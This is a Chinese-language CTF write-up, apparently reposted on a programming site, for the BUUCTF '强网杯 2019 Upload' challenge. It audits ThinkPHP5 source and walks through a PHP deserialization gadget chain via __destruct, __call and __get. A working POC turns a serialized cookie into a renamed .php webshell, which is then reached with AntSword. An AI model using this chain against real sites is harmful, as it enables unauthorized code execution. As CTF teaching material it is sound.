IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> [BUUCTF][强网杯 2019]Upload -> 正文阅读

[PHP知识库][BUUCTF][强网杯 2019]Upload

考点

代码审计

反序列化

解题

信息搜集

首先打开是一个登录框,尝试sql无果

image-20211227103816167

注册登录,发现一个文件上传页面

image-20211227104719238

先试试文件上传,会将jpg文件转换为png,文件名随机生成

dirsearch扫一下目录,有备份文件www.tar.gz

解压后是一个tp5的框架

代码审计

打开文件后有两个断点

application/web/controller/Index.php

image-20220101012716789

在访问大部分页面时都会调用到login_check方法,该方法将传入的用户信息反序列化,再到数据库中进行检查

application/web/controller/Register.php

image-20220101012658339

析构方法,判断是否注册,未注册则跳转到主页

再查看一下文件上传部分的代码

application/web/controller/Profile.php

public function upload_img(){
        if($this->checker){
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(!empty($_FILES)){
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
        if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

先检查是否登录,接着判断文件是否存在,再获取文件后缀,解析是否为正常图片,之后再将其从临时路径拷贝到目标路径

同时该文件下还有两个魔术方法

public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

我们可以利用反序列化和魔术方法来控制upload_img方法,从而任意更改文件名

首先构造一个Register类,通过反序列化调用析构函数,调用checker成员变量再调用index方法。

由于输出可控,我们将checker赋值为Profile对象,之后调用index方法就可以触发__call方法

此时我们调用this->index,访问一个不存在的属性就会触发__get方法

而expect参数可控,我们将Profile的成员变量except赋值为以index为数组键,upload_img()为键值的数组$except=['index'=>'upload_img']

因此在__call方法中,可以成功调用upload_img方法

 public function upload_img(){
        if($this->checker){
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(!empty($_FILES)){
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
        if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

进入函数,将checker赋值为0,绕过判断,再将ext赋值为1,此时把$filename_tmp赋值为上传的图片马的路径,而覆盖的文件名$filename赋值为以php结尾的文件

POC:

<?php
namespace app\web\controller;
class Profile
{
    public $checker=0;
    public $filename_tmp="../public/upload/cc551ab005b2e60fbdc88de809b2c4b1/f3ccdd27d2000e3f9255a7e3e2c48800.png";
    public $filename="../public/upload/cc551ab005b2e60fbdc88de809b2c4b1/snakin.php";
    public $ext=1;
    public $except=array('index'=>'upload_img');

}
class Register
{
    public $checker;
    public $registed=0;
}

$a=new Register();
$a->checker=new Profile();
echo base64_encode(serialize($a));

之后修改cookie,蚁剑连接即可

参考文章:

https://www.cnblogs.com/BOHB-yunying/p/11555858.html

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-01-24 10:36:11  更:2022-01-24 10:37:09 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/14 14:41:12-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码